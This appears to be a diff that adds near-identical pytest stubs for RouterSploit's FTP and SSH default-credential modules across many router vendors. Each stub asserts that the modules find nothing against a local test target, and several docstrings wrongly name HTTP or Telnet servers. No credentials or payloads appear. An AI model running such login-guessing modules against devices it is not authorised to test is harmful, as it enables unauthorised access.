+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/billion/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.billion.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/cisco/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.cisco.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/cisco/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.cisco.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/comtrend/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.comtrend.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/comtrend/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.comtrend.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/dlink/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.dlink.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/dlink/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.dlink.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/fortinet/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.fortinet.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/fortinet/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.fortinet.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/huawei/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.huawei.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/huawei/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.huawei.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/ipfire/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.ipfire.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/ipfire/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.ipfire.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/juniper/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.juniper.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/juniper/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.juniper.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/linksys/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.linksys.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/linksys/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.linksys.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/mikrotik/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.mikrotik.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/mikrotik/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.mikrotik.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/movistar/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.movistar.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/movistar/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.movistar.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/netcore/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.netcore.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/netcore/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.netcore.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/netgear/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.netgear.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/netgear/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.netgear.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/netsys/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.netsys.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/netsys/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.netsys.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/pfsense/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.pfsense.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/technicolor/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.technicolor.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/technicolor/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.technicolor.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/thomson/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.thomson.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/thomson/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.thomson.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/tplink/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.tplink.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/tplink/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.tplink.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/ubiquiti/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.ubiquiti.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/ubiquiti/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.ubiquiti.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/zte/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.zte.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/zte/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.zte.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/zyxel/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.zyxel.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/zyxel/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.zyxel.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None